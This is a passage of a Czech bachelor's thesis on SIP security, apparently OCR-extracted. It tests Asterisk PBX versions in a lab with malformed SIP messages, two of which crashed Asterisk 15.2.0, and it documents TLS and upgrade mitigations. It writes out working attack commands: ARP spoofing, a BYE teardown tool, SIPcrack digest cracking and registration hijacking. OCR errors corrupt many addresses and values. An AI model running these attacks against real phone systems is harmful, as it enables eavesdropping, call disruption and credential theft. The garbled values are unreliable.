Zprava obsahuje 2 rizné zadosti oddélené velkym mnozstvim mezer. Vzhledem
k tomu, ze zprava presahuje hodnotu obsazenou v poli Content-length, by ji istfedna

méla zamitnout.

zprava:

REGISTER sip:192.168.10.12 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 827971509058651156136745

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060; branch=z9hG4bK-1568977952

To: "2000" <sip:20000@192.168.10.12>

From: "2000" <sip:2000@192.168.10.12>; tag
— =454253743100929883276233300

CSeq: 1 REGISTER

Content -Length: O

Contact: <sip:qdctz@192.168.10.12>

INVITE sip:100@192.168.10.12 SIP/2.0
Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70
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Accept: application/sdp
Call-ID: 619406893339980672450250
User-Agent: siptorch/0.1
Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-703814458
To: "100" <sip:1000@192.168.10.12>
From: "siptorch" <sip:yxkun@192.168.10.12>; tag
— =1168624337419982261489653273
CSeq: 1 INVITE
Content -Length: 152
Contact: <sip:yxkun@192.168.10.12>

Ustfedna Asterisk 13.38.2 nepfijala zprévu a reagovala odpovédi 401 Unauthorized,

ostatni ustredny zpravu také neprijaly a reagovaly odpovédi 403 Forbidden.

4.2.16 Neznama verze protokolu SIP

Zprava neni legitimni, protoze obsahuje verzi 7.0 protokolu SIP. V soucasné dobé
mé4 protokol SIP nejvyssi verzi 2.0. Ustiedny by mély odpovédét chybou a v nf upo-

7zornit na neznamou verzi.

zprava:

OPTIONS sip:1000192.168.10.12 SIP/7.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 923054191235325267306255

User-Agent: siptorch/0.1

Via: SIP/7.0/UDP 127.0.1.1:5060; branch=z9hG4bK-2927911015

To: "100" <sip:1000@192.168.10.12>

From: "siptorch" <sip:tdnwm@192.168.10.12>; tag
— =258214168232401899408324838

CSeq: 1 OPTIONS

Content -Length: O

Contact: <sip:tdnwm@192.168.10.12>

Testované ustredny na zpravu nereagovaly.

4.2.17 Nedostatecné zahlavi

Zprava neobsahuje pole To, From a Call-ID. Zpréava by neméla mit vliv na chod

ustredny a ustfedny by mély reagovat chybovou odpovédi.
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zprava:

INVITE sip:100@192.168.10.12 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
— OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-132085139

CSeq: 1 INVITE

Content -Length: 152

Contact: <sip:gllfk@192.168.10.12>

Ustfedna Asterisk 13.38.2 reagovala odpovédi 400 Bad Request, ostatni dstfedny na

zpravu neodpovédély.

4.2.18 Prebytecné znaky v zahlavi

Zpréva obsahuje prebytecné stiedniky a ¢arky v polich Contact a Via. Ustfedny by
mély reagovat odpovedi 400 Bad Request.

zprava:

INVITE sip:100@192.168.10.12 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
<~ OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 851278853530534511419371

User-Agent: siptorch/0.1

[FER 1 BTR 2 0/ DR 27070 8 16060 Frhch=g OhGAbK: 26956186805 11 ]

To: "100" <sip:1000192.168.10.12>

From: "siptorch" <sip:hcsyz@192.168.10.12>; tag
— =379455930223091475232050439

CSeq: 1 INVITE

Content-Length: 152

Ustfedna Asterisk 13.38.2 reagovala odpovédi 200 OK, ostatni ustredny na zpravu

neodpovedély.
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4.2.19 Uzavreni URI v <>

Zprava ma pozadované URI uzaviené ve spicatych zavorkach. Propracovanéjsi tisttedny
by mohly problém opravit a pokud ne, tak by mély reagovat odpovédi 400 Bad
Request.

zprava:

INVITE <sip:1000192.168.10.12> SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
<~ OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 1159832207806458543907862

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-691203924

To: "100" <sip:1000192.168.10.12>

From: "siptorch" <sip:ptiow@192.168.10.12>;tag
— =368644362512512451387727379

CSeq: 1 INVITE

Content -Length: 152

Contact: <sip:ptiow@192.168.10.12>

Ustfedna Asterisk 13.38.2 reagovala odpovédi 200 OK, ostatni ustfedny na zpravu

neodpovedély.

4.2.20 INVITE neobsahujici SDP télo

Zprava mé za ukol testovat UAS. Pozadavek obsahuje télo zpravy, které neni SDP.

Usttedny by mély odpovédét chybou.

zprava:

INVITE sip:2000@192.168.10.13 SIP/2.0

Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE,
<~ OPTIONS, INFO, SUBSCRIBE

Max-Forwards: 70

Accept: application/sdp

Call-ID: 449090637120992901240135

User-Agent: siptorch/0.1

Via: SIP/2.0/UDP 127.0.1.1:5060; branch=z9hG4bK-3212874022

To: "2000" <sip:20000192.168.10.13>
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From: "siptorch" <sip:empao@192.168.10.13>;tag
— =469006506391956863792615624

CSeq: 1 INVITE

Content -Length: 39

Contact: <sip:empao@192.168.10.13>

Ustfedna Asterisk 13.38.2 reagovala odpovédi 200 OK, ostatni tstfedny reagovaly
odpovedi 415 Unsupported Media Type.

Dalsi zpravy

Nasledujici 2 zpravy uz nejsou popsany v RFC 4475 a jsou vytvoreny podle bezpec-

nostnich upozornéni na strankich www.asterisk.org [33] [34].

4.2.21 SUBSCRIBE s mnoha polozkami Accept

Pti zpracovani pozadavku SUBSCRIBE jsou ukladany akceptované formaty ze za-
hlavi Accept. Pevny limit maximélné ulozenych pozadavki by mél byt 32. Tato
zprava obsahuje 40x zahlavi Accept k otestovani implementace limitu. Pro tuto

zpravu byla potfeba autentizace.

zprava:

SUBSCRIBE sip:200@192.168.10.20:5060 SIP/2.0

To: <sip:2000192.168.10.20:5060>

From: Test <sip:100@192.168.10.20:5060>

Call-ID: 4c8a8be2-429c-43bf-87be-£f76eaf2377£fd

CSeq: 2 SUBSCRIBE

Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK4c8a8be2 -429c
— -43bf-87be-f76eaf2377fd

Contact: <sip:100@172.17.0.1>

EXxa
Event: message-summary
Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE,

— REFER, INFO, OPTIONS, MESSAGE
Content -Length: O



Ustiedna Asterisk 13.38.2 na zpravu neodpovédéla, Asterisk 18.3.0 reagovala zpra-
vou 489 Bad Event a Asterisk 15.2.0 po prijeti zpravy prestala komunikovat. Chyba
na ustfedné Asterisk 15.2.0 byla zptisobena chybou paméti, kdy kvili mnoha za-
hlavim Accept zapsala do mista v paméti, kde se nachazela data dulezita pro chod

ustredny.

4.2.22 0Odkaz na NULL

Zprava obsahuje v téle SDP protokolu znak NULL, ve snaze nasmérovat ukazatel

na neinicializované misto v paméti pro vyvolani chyby.

zprava:

INVITE sip:200@192.168.10.20:5060 SIP/2.0

To: <sip:2000@192.168.10.20:5060>

From: Test <sip:1000192.168.10.20:5060>

Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a

CSeq: 2 INVITE

Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a
— —-40af-9de5-1dd21387e03a

Contact: <sip:1000172.17.0.1>

Content -Type: application/sdp

Content -Length: 228

v=0

o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk

c=IN IP4 172.17.0.1

t=0 O

m=audio 17000 RTP/AVP 9 0 101

a=rtpmap:8 alaw/8000

a=rtpmap:0 PCMU/8000

a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16

a=sendrecv

Ustfedna Asterisk 13.38.2 na zpravu neodpovédéla, Asterisk 18.3.0 reagovala zpra-
vou 400 Bad Request a Asterisk 15.2.0 po prijeti zpravy prestala komunikovat.
Chyba na ustredné Asterisk 15.2.0 byla zptisobena nasmérovanim ukazatele na nei-

nicializované misto v paméti.
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Tab. 4.4: Vysledky modifikovanych zprav

Zprava 13.38.2 (Chan_sip)| 15.2.0 (PJSIP) | 18.3.0 (PJSIP)
Chybné casové pasmo v | 200 OK 200 OK 200 OK

zahlavi

Neukoncéené uvozovky v | 416 Unsupported | Zprava zahozena | Zprava zahozena
zobrazeném jménu URI scheme

Nespravna velikost téla | 200 OK 200 OK 200 OK

ZPpravy

Nekonzistentni  metoda | 200 OK Zprava zahozena | Zprava zahozena
CSeq

Starsi INVITE zadost

Zpréva zahozena

Zprava zahozena

Zpréava zahozena

Odpoveéd nezndmého typu

Zpréava zahozena

Zprava zahozena

Zprava zahozena

Neznamé zadost

501 Method Not Im-

501 Not Imple-

501 Not Imple-

plemented mented mented
Mezery v poli To 200 OK 200 OK 200 OK
Vice polozek Content len- | 200 OK 200 OK 200 OK
gth
Vice polozek Via 200 OK 200 OK 200 OK
Chybéjici ID transakce 200 OK 200 OK 200 OK
Max Forwards obsahuje 0 | 200 OK 200 OK 200 OK
Parametr navic v URI 200 OK 200 OK 200 OK

Chybné hodnota pole Ac-
cept

401 Unauthorized

403 Forbidden

403 Forbidden

Vice zadosti v jednom pa-
ketu

401 Unauthorized

403 Forbidden

403 Forbidden

Neznamé verze protokolu

SIP

Zpréava zahozena

Zprava zahozena

Zprava zahozena

Nedostatecné zahlavi

400 Bad Request

Zprava zahozena

Zprava zahozena

Prebytecné znaky v za-

200 OK

Zprava zahozena

Zpréava zahozena

hlavi

Uzavieni URI v <> 200 OK Zpréava zahozena | Zpréva zahozena
INVITE neobsahujici | 200 OK 415 Unsupported | 415 Unsupported
SDP télo Media Type Media Type
SUBSCRIBE s mnoha po- | Zprava zahozena Chyba tstredny 489 Bad Event

lozkami Accept

Odkaz na NULL

Zprava zahozena

Chyba ustredny

200 OK
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4.2.23 Mitigace atoku s modifikovanymi zpravami

7 vysledku vyplyva, ze ustredna Asterisk 15.2.0, kterda vyuziva pro tizeni PJSIP
stack, je zranitelnd viéi nékterym vyzkouSenym zpravam. Jako bezpecnostni opat-
feni proti témto zpravam je mozné upgradovat tstfednu na novejsi verzi 18.3.0.

Upgrade 1ze provést nasledujicimi prikazy:

1) wget http://downloads.asterisk.org/pub/telephony/asterisk/
asterisk-18-current.tar.gz

- Prikaz zahaji stahovani nejnovéjsi verzi tstredny Asterisk.

2) tar xvf asterisk-18-current.tar.gz

3) cd asterisk-18%/

4) sudo contrib/scripts/install_prereq install

5) ./configure

- 4. a 5. prikaz maji za kol vytesit zavislosti.

6) make menuselect

- Prikaz otevie menu, ve kterém lze vybrat funkce tstredny jako jsou kodeky, moduly
a hlasové balicky.

7) rm -rf /usr/lib/asterisk/modules

- Prikaz vymaze obsah slozky modules, vzhledem k prechodu z verze 15.2.0 na
verzi 18.3.0 nejsou nékteré moduly jiz kompatibilni. Pokud tstredna pouziva moduly
tretich stran, je potfeba moduly doinstalovat.

8) make

- Prikaz zkompiluje zdrojové kody tustredny.

9) make install

- Prikaz nainstaluje novou verzi tstredny.

Pokud systém pouziva linuxovou distribuci FreePBX, je mozné zménit verzi ustredny

prikazem asterisk-version-switch, ktery otevie menu znazornéné na obrazku4.14}

Current version:
= Long Term Support i = End of Life i = Standard

Press for
Press for
Press for
Press for
Press for
Press for

Press 9 to exit and not change your Asterisk Uersion

Pick the Asterisk Uersion you would like to change to:

Obr. 4.14: Menu pro vybér verze tstredny na distribuci FreePBX
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4.3 MITM dGtoky

Podstatou MITM tutoku je snaha ttoc¢nika odposlouchavat komunikaci mezi tcast-
niky tak, ze se stane aktivnim prostrednikem. V tomto pripadé se jednalo o komuni-
kaci mezi ustiednou Asterisk verze 13.21-cert3 a softwarovym telefonem Zoiper. Pro
realizaci itoku byl pouzit néstroj arpspoof, ktery umoznuje ato¢nikovi podvrhnout
odpovédi na ARP dotazy. Utok byl realizovan piikazy echo 1 > /proc/sys/net/
ipv4/ip_forward a arpspoof -i ethO -c both -t 192.168.10.5 -r
192.168.10.8, pricemz IP adresa 192.168.10.5 predstavovala adresu ustredny

a 192.168.10.8 byla IP adresa telefonu. Vysledkem ptikazu echo bylo povoleni sméro-
vani, aby spolu mohly ustfedna a telefon nadale komunikovat bez preruseni. Prikaz

arpspoof zajistil posilani sitového provozu mezi tstfednou a telefonem ttocnikovi.

4.3.1 BYE Teardown

Cilem ttoku bylo pferusit probihajici hovor mezi telefony. Pro utok bylo potieba
odchytit zpravy mezi telefonem a tustfednou. Odchyceni lze realizovat prikazem
tcpdump -i ethO -w odchyt.pcap nebo v programu Wireshark. V odchyceném
provozu bylo potieba vyhledat odpoved 200 OK protokolu SIP a z ni extrahovat
hodnotu Call-ID, tag v zahlavi To, tag v zahlavi From, oznaceni komunikujicich
stran a ¢islo portu, na kterém komunikoval telefon Zoiper. Na obrazku je zob-

razeno odchyceni provozu a zvyraznéné relevantni hodnoty.

(W sip
No. Time Source Destination Protocol Length Info
40 14.555603706 192.168.10. 192.168.10.8 SIP/SDP 934 Request: INVITE
41 14.555621977 192.168.10. 192.168.10.8 SIP/SDP 934 Request: INVITE
14.570360233 192.168.16. 192.168.10.5 SIP/SDP Status: 200 0K |

b
5
8
8
b
5

43 14.570380525 192.168.18. 192.168.10.5 SIP/SDP 857 Status: 200 0K |
44 14.570981422 192.168.180. 192.168.10.8 SIP 463 Request: ACK sip
45 14.570990752 192.168.10. 192.168.10.8 SIP 463 Request: ACK sip

» Frame 42: 857 bytes on wire (6856 bits), BS7 bytes captured (6856 bits) on interface eth@, it
» Ethernet II, Src: PcsCompu_3b:3a:81 (€8:00:27:3b:3a:81), Dst: PcsCompu_45:22:85 (08:00:27:45
» Internet Protocol Version 4, Src: 192.168.10.8, Dst: 192.168.18.5
User Datagram Protocol, Src Port: 5062, Dst Port: 5060
~ Session Initiation Protocol (260)
b Status-Line: SIP/2.8 200 0K
- Message Header
» Via: SIP/2.0/UDP 192.168.10.5:5860;branch=z9nG4bK18f7aed2
Require: timer
= Contact: <sip:200@192.168.10.8:5062; transport=UDP>
¢+ Contact URI: sip:28@@192.168.10.8:5862; transport=UDP
~ To: <sip:200@192.168.10.5; transport:UDP:-
b SIP to address: sip:200@192.168.10.5;transport=UDP

SIP to tag: 497c6236
~ From: -192 .168.10.5; transpor t=UDP>[tag=as52265759]
» SIP from address: sip:180@192.168.18.5; transport=UDP
SIP from tag: as52265759
Call-ID: ZGUxYTImZGJjMmQxND
a

JINT

ZJAZODATYWM,

AGNM
m VZjAZODAZYWM. |

BINZYY
%

Obr. 4.15: Odchycené hodnoty v programu Wireshark pro teardown ttok
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S odchycenymi hodnotami vyuzil dtoénik nastroje BYE Teardown [35] pro vytvo-
feni BYE zpravy pro preruseni hovoru mezi telefony. Nastroj lze ziskat nasledujicimi

prikazy:

1) wget http://www.hackingvoip.com/tools/teardown.tar.gz

- Prikaz zahaji stahovani nastroje BYE Teardown.

2) wget http://www.hackingvoip.com/tools/hack_library.tar.gz

- Prikaz zahaji stahovani dodatec¢né knihovny, kterd je vyzadovana pro béh nastroje
BYE Teardown.

3) tar -xf hack_library.tar.gz

4) cd hack_library

5) make

- Prikaz zahaji kompilaci knihovny hack library.

)cd ..

7) tar -xf teardown.tar.gz

(=)

8) cd teardown
9) make

- Prikaz zahaji kompilaci nastroje BYE Teardown.

Po zkompilovani nastroje a odchyceni komunikace mezi telefonem a tustfednou po-
uzil utoc¢nik ptikaz ./teardown ethO 100 192.168.10.5 192.168.10.5 Call_ID
From_tag To_tag -a 200 -i 192.168.10.8 -S 5062, pricemz Call ID bylo na-
hrazeno hodnotou v zahlavi Call _ID, From_ tag byl nahrazen hodnotou tag ze za-
hlavi uzivatele 200 a To_tag nahrazeno hodnotou tag ze zédhlavi uzivatele 100. Vy-
sledkem utoku bylo presvédceni uzivatele 100 o tom, ze uzivatel 200 chce zavésit
hovor. Na obrazku lze vidét zpravu od utocnika, ktera se jevi jako poslana od
legitimniho uzivatele. Obrazek ukazuje stav telefonti po provedeni utoku, pfi-
c¢emz byl uzivateli 100 ukoncéen hovor. Uzivatel 200 se o ukonceni nedozvédeél, tudiz

pokracoval v hovoru.
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(R sipl

No. Time Source Destination Protocol Length Info
3 1.062371885 192.168.10.8 192.168.10.5 429 Request: BYE sip:100@192.168.10.5:5860
4 1.063054562 192.168.10.5 192.168.10.8 SIP 516 Status: 200 OK
6 1.063885502 192.168.10.5 192.168.10.8 SIP 516 Status: 200 OK

Frame 3: 429 bytes on wire (3432 bits), 429 bytes captured (3432 bits) on interface eth@, id @
Ethernet II, Src: PcsCompu_45:22:85 (08:00:27:45:22:85), Dst: PcsCompu_1f:5d:84 (08:00:27:1f:5d:84)
Internet Protocol Version 4, Src: 192.168.10.8, Dst: 192.168.10.5
User Datagram Protocol, Src Port: 5862, Dst Port: 5860
Session Initiation Protocol (BYE)
» Request-Line: BYE sip:108@192.168.10.5:5060 SIP/2.0
~ Message Header
» Via: SIP/2.0/UDP 192.168.10.8:5062;branch=5175e60c-70e9-4609-8ef7-f1328ac4b5b3
~ From: 200 <sip:200@192.168.10.5>;tag=abc9804d
SIP Display info: 200
v SIP from address: sip:200@192.168.10.5
SIP from tag: abc9804d
~ To: 100 <sip:190@192.168.10.5>;tag=as70527150
SIP Display info: 100
b SIP to address: sip:100§192.168.10.5
SIP to tag: as7@527150
Call-ID: ZTA4YmUL0DNINDExXMT1jM2ImYzcyODAzZDQ1ZjhkNDk.
[Generated Call-ID: ZTA4YmU1ODNINDEXMT1jM2JImYzcyODAzZDQ1ZjhkNDk. ]
» CSeq: 2000008000 BYE
Max-Forwards: 16
User-Agent: Hacker
Content-Length: @
~ Contact: <sip:200@192.168.10.8:5062>
» Contact URI: sip:200@192.168.10.8:5062

L3
L3
L3
L3

Obr. 4.16: Uto¢nikova zprdva odchycend v programu Wireshark

[ind a contact...

Obr. 4.17: Stav telefonii po teardown tutoku

4.3.2 Utok na autentizaci

Cilem tutoku bylo zjistit prihlasovaci tidaje jednoho z ucastniktt hovoru. Pro itok
bylo opét potieba odchytit zpravy mezi telefonem a tustiednou. Odchyceni komu-
nikace provedl uto¢nik prikazem tcpdump -i ethO -w odchyt.pcap. Z odchycené
komunikace bylo potfeba extrahovat iidaje nonce, typ pozadavku, realm, uri, MD5
hash a jméno uzivatele. Princip vypoctu MD5 odpovédi je zobrazen na obrézku [£.18|
Uto¢nik pro extrakei pouzil pifkaz sipdump -p odchyt.pcap hash.txt, ktery ulo-
zil relevantni tdaje do souboru hash.txt. Na obrazku [£.19) jsou vidét odchycené

hodnoty v programu Wireshark.
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Retézec_1 = MD5(Jméno uiivatele : Realm : Heslo)
Retézec_2 = MD5(Metoda : Pozadované URI)

Odpovéd = MD5(Retézec_1 : Nonce : Retézec_2)

Obr. 4.18: Princip vypoc¢tu MD5 odpovedi

SIP/SDP 1027 Request: INVITE sip:100@19
13 0.926950162 192.168.10.5 192.168.10. SIP 601 Status: 1680 Trying |

Frame 11: 1027 bytes on wire (8216 bits), 1027 bytes captured (8216 bits) on interface eth®, id @
Ethernet II, Src: PcsCompu_3b:3a:81 (08:00:27:3b:3a:81), Dst: PcsCompu_45:22:85 (08:00:27:45:22:85)
Internet Protocol Version 4, Src: 192.168.10.8, Dst: 192.168.10.5
User Datagram Protocol, Src Port: 5862, Dst Port: 5860
Session Initiatign Protocol (INVITE)
3 Request—Line: sip:100@192.168.10.5; transport=UDP SIP/2.8
~ Message Header
» Via: SIP/2.0/UDP 192.168.10.8:5062;branch=z9hG4bK-d8754z-0527ac2935805F41-1---d8754z-
Max-Forwards: 7@
» Contact: <sip:200@192.168.10.8:5062; transport=UDP=>
b To: <sip:100@192.168.10.5; transport=UDP=>
» From: <sip:280@192.168.10.5; transport=UDP>; tag=aae31be7
Call-ID: ZjBkY2MOMWFEhYTLiM2NjZDowYjZhYWZINThmOTN1ZTc.
[Generated Call-ID: ZjBkYZMOMWFhYTLiM2ZNjZDowYjZhYWZINThmOTN1ZTc. ]
» CSeq: 2 INVITE
Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE
Content-Type: application/sdp
Supported: replaces, norefersub, extended-refer, timer, X-cisco-serviceuri
User-Agent: Z 3.3.25608 r25552
= Authorization: Digest username="2808",realm="asterisk", nonce="1236b844" uri="sip:100§192.168.10.5;
Authentication Scheme: Digest
Username: "2@8"
Realm: "asterisk"
Nonce Value: "1236b844"
Authentication URI: "sip:100@192.168.10.5; transport=UDp"
Digest Authentication Response: "ba97T81ebb81bTbB027dT4b522acYeed"
Algorithm: MD5

N [sip
No. Time Source Destination Protocol Length Info
8 ©.924901469 192.168.10.5 192.168.10.8 SIP 623 Status: 401 Unauthorized |
9 0.925795215 192.168.10.8 192.168.10.5 SIP 398 Request: ACK sip:180@192.1
16 0.925806262 192.168.10.8 192.168.10.5 SIP 398 Request: ACK sip:100@192.1
11 ©.925884267 192.168.10.8 192.168.10.5 SIP/SDP 1827 Request: INVITE sip:180@19
12 ©.925904794 192.168.10.8 192.168.10.5
8

IR

Obr. 4.19: Hodnoty pro tutok na autentizaci v programu Wireshark

Pro zjisténi prihlasovacich idaji pouzil atoénik nastroj SIPcrack, ktery l1ze nainsta-
lovat prikazem apt-get install sipcrack. Néstroj SIPcrack vyzaduje na vstupu
soubor s hesly, kterym muze byt napriklad slovnik rockyou.txt. Pro bruteforce ttok
je mozné vyuzit kombinaci néstrojii SIPcrack a John the Ripper. Utoénik vytvo-
il frontu fifo, do které nasmeéroval vystup z nastroje John the Ripper. Pro vy-
generovani hesel pouzil utoénik piikazy mkfifo john vystup a john -stdout=8
-incremental:Alpha > john_vystup. Vysledkem generovani jsou hesla o délce 1-8
znakt slozend z velkych i malych pismen abecedy. Pro samotné zjisténi hesla byl
pouzit ptikaz sipcrack -w john_vystup hash.txt, vystup piikazu je na obrazku
4. 20)
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rootikali:/home/kali# sipcrack -w john_vystup hash.txt

SIPcrack @.2

* Found Accounts:

Num

Client User Hash|P

'hash.txt' ...

Obr. 4.20: Vystup nastroje SIPcrack

4.3.3 Registration hijacking

Cilem ttoku je odregistrovat uzivatele a presmérovat hovory k ttoénikovi diky od-
chycené komunikaci mezi tstrednou a telefonem. K utoku bylo potieba odchytit pri-
hlasovaci udaje a poslat 2 REGISTER zpravy. Prvni REGISTER zprava obsahovala
v zadhlavi Expires hodnotu 0 k odregistrovani uzivatele, a druhéd méla nastavenou
hodnotu Expires na 3600 k zaregistrovani itoc¢nika. Zpravy byly obsazeny v sou-
borech hijack odreg.xml a hijack reg.xml. Utoénik zpravy zaslal pomoci nastroje
SIPp. Adresovan{ pii titoku je obsazeno v tabulce [4.5] vypisy registrovanych uziva-
tell na tstfedné jsou zobrazeny na obrazcich [£.21] [£.29] a [£.23] Pokud se kdokoli

pokusil spojit s uzivatelem po odregistrovani, ale pred registraci utocnika, obdrzel

chybovou zpravu 503 Service Unavailable.

Tab. 4.5: Adresovani pri utoku Registration hijacking

Role IP adresa SIP ucet
Utoénik | 192.168.10.6 -
Ustfedna | 192.168.10.5 -
Zoiperl | 192.168.10.7 100
Zoiper2 | 192.168.10.8 200
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xtumapf2-VirtualBox*CLI> sip show peers
Host Dyn Forcerport Comedia Port

192.168.10.7 D Yes Yes 5064
192.168.10.8 D Yes Yes A 5062

Obr. 4.21: Vypis registrovanych uzivatelti pred ttokem

xtumap®2-VirtualBox*CLI> sip show peers
Name /username Host Dyn Forcerport Comedia Port

100/100 (Unspecified) D Yes Yes (i}
200/200 192.168.10.8 D Yes Yes A 5062

Obr. 4.22: Vypis registrovanych uzivatelii po odregistrovani uzivatele

Xxtumap®2-virtualBox*CLI> sip show peers
Name /username Host Dyn Forcerport Comedia ACL

100/1600 192.168.10.6 D Yes Yes A
200/200 192.168.10.8 D Yes Yes A

Obr. 4.23: Vypis registrovanych uzivateli po registraci utoc¢nika

4.3.4 Mitigace MITM uatoku

Zabezpeceni protokolem TLS poskytuje sifrovani pro signalizaci hovort. Je to prak-
ticky zpusob, jak zabranit tto¢nikovi, aby zjistil obsah zprav protokolu SIP. Nasta-
veni TLS mezi tstfednou Asterisk a klientem zahrnuje vytvoreni soubortu s klici,
upravu konfigurace SIP protokolu na tstredné Asterisk, vytvoreni SIP uctu, ktery
je schopen komunikovat pres TLS, a tpravu nastaveni telefonu tak, aby se pripojil
k Asterisku pres TLS. Klice a certifikaty pro protokol TLS byly vytvoreny néasledu-

jicimi prikazy:

1) mkdir /etc/asterisk/keys

- Prikaz vytvoril slozku, ve které byly uchovavany klice.

2) ./ast_tls_cert -C 192.168.10.5 -0 "AST_TLS"-d /etc/asterisk/keys

- Ptikaz nastavil vlastni CA (,,Certifikacni autorita®) a vytvoril certifikat pro usttednu
Asterisk. Skript ast_ tls cert se nachazel ve slozce /contrib/scripts zdrojové slozky
ustredny Asterisk.

3) ./ast_tls_cert -m client -c /etc/asterisk/keys/ca.crt -k /etc/
asterisk/keys/ca.key -C 192.168.10.7 -0 "Klient1"-d /etc/asterisk/
keys -o klientl cert

- Prikaz vytvoril klientsky certifikat pro telefon Zoiper. Stejny krok s pozménénymi

hodnotami byl potieba vykonat i pro druhy telefon.
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4) openssl x509 -in /etc/asterisk/keys/ca.crt -out /etc/asterisk/keys/
ca.pem -outform PEM
- Prikaz prevedl certifikat CA do formatu .pem, jelikoz telefony Zoiper neptijimaly

jiny format.

Dalsim krokem byla distribuce certifikat. Pro spravnou konfiguraci TLS potieboval
telefon certifikat klienta a certifikat CA. Nastaveni telefonu Zoiper pro pouziti TLS
Ize vidét na obrazku [4.24] a obrazku [4.25]

Provision Netwark Security Diagnostic

TLS options
Extra CA Certificates (PEMIELE A L L L

P Override domain name

¥ Load domain certificate
fhome/xtumap02/ca.pem
P Use only strong ciphers

Protocol suite| TLS vl

Obr. 4.24: Konfigurace CA certifikdtu na telefonu Zoiper

W use rport Use TLS transport
W Use rport media TLS with no SRTP

P Force RF 544 Don'tuse STUN

TLS client certificate

el lly /home/xtumap02/klient2_cert.pem

Use certificate as: | Use certificate

Obr. 4.25: Konfigurace certifikatu klienta na telefonu Zoiper

Poslednim krokem bylo upravit nastaveni souboru sip.conf. Do souboru byly pridany

informace o TLS a kazdému klientovi byl pozménén typ prenosu na TLS.

Zmény v souboru sip.conf:
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[generall

tlsenable=yes

tlsbindaddr=0.0.0.0
tlscertfile=/etc/asterisk/keys/asterisk.pem
tlscafile=/etc/asterisk/keys/ca.crt

[100]

transport=tls

[200]

transport=tls

Po tupravé souboru bylo potfeba pripojit se na tustfednu a prikazem sip reload

aplikovat novou konfiguraci.

4.3.5 \Vysledky

Diky aplikaci Sifrovani pomoci protokolu TLS nemohl tto¢nik z komunikace, mezi
telefonem a tstiednou, vyé&ist dilezita data protokolu SIP. Utoky BYE Teardown,
registration hijacking a 1tok na autentizaci byly zaloZeny na schopnosti tto¢nika
extrahovat data z prendsené komunikace. Po aplikovani protokolu TLS, ktery sifruje

komunikaci, toto neni mozné, jak je zndzornéno na obrazku [4.26]

No. Time Source
16 B 19 .5 1 .8
17 8.167496204 192.168.1@ 192.168.10.8
18 18 19 .5 1 .8

Destination Protocol Length Info
1 ¢ CF 14#1] ) [ACK
Data, Application Data
nsmission] 5861 IF

Data, Application Data

1317
2

24 8.210501810  192.168.10.8 5 .. 5. TLSv1 1132 Application Data, Application Data

Frame 17: 732 bytes on wire (5856 bits), 732 bytes captured (5856 bits) on interface eth@, id @
Ethernet II, Src: PcsCompu_1if:5d:84 (08:08:27:17:5d:84), Dst: PcsCompu_45:22:85 (08:00:27:45:22:85)
Internet Protocol Version 4, Src: 192.168.10.5, Dst: 192.168.10.8
Transmission Control Protocol, Src Port: 5061, Dst Port: 537208, Seq: 1, Ack: 891, Len: 666
Transport Layer Security
TLSv1 Record Layer: Application Data Protocol: sip.tcp

Content Type: Application Data (23)

Version: TLS 1.6 (@x@301)

Length: 32

Encrypted Application Data: a2e3i1f8beS23b8219d866b0338ac26@c5e3@ch8230ch5Toa..
= TLSv1l Record Layer: Application Data Protocol: sip.tcp

Content Type: Application Data (23)

Version: TLS 1.6 (@x@301)

Length: 624

Encrypted Application Data: Ge8771fe7B8c806173d321b81c1e2618d74709a2e77929b09..

IR

Obr. 4.26: Odchycenad komunikace po aplikaci TLS
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Zavér

Bakalarska prace byla zamérena na bezpecnost signalizacniho protokolu SIP. Nej-
prve byl v bakalarské praci kratce predstaven protokol SIP, popsana jeho architek-
tura a typy zprav. V dalsi kapitole byla zminéna podobnost protokolu SIP s proto-
kolem HTTP, diky které mohou byt utoky na HTTP pouzity i na SIP. Dale byly
v kapitole popsany DoS 1toky, autentizacni utoky, odposlech a SQL injekce. Vysled-
kem kapitoly je prehled bezpecnostnich nedostatk protokolu SIP. Tteti kapitola
obsahovala popis aplikovatelnych mechanismti pro zabezpeceni protokolu SIP. Me-
chanismy byly rozdéleny podle uplatnitelnosti na autentizacni, Sifrovaci a detekéni.
Obsahem kapitoly byl prehled feseni riznych bezpecénostnich rizik protokolu SIP.

V praktické casti byly realizovany a mitigovany zaplavové ttoky, atoky s modi-
fikovanymi zpravami a MITM ttoky na PBX Asterisk. Utoky byly simulovény ve
virtualizovaném prostiedi.

Zéaplavové utoky byly realizovany se zpravami INVITE, OPTIONS, BYE, CAN-
CEL, REGISTER a uskutecnény pomoci nastroje SIPp. Pouze utoky se zpravami
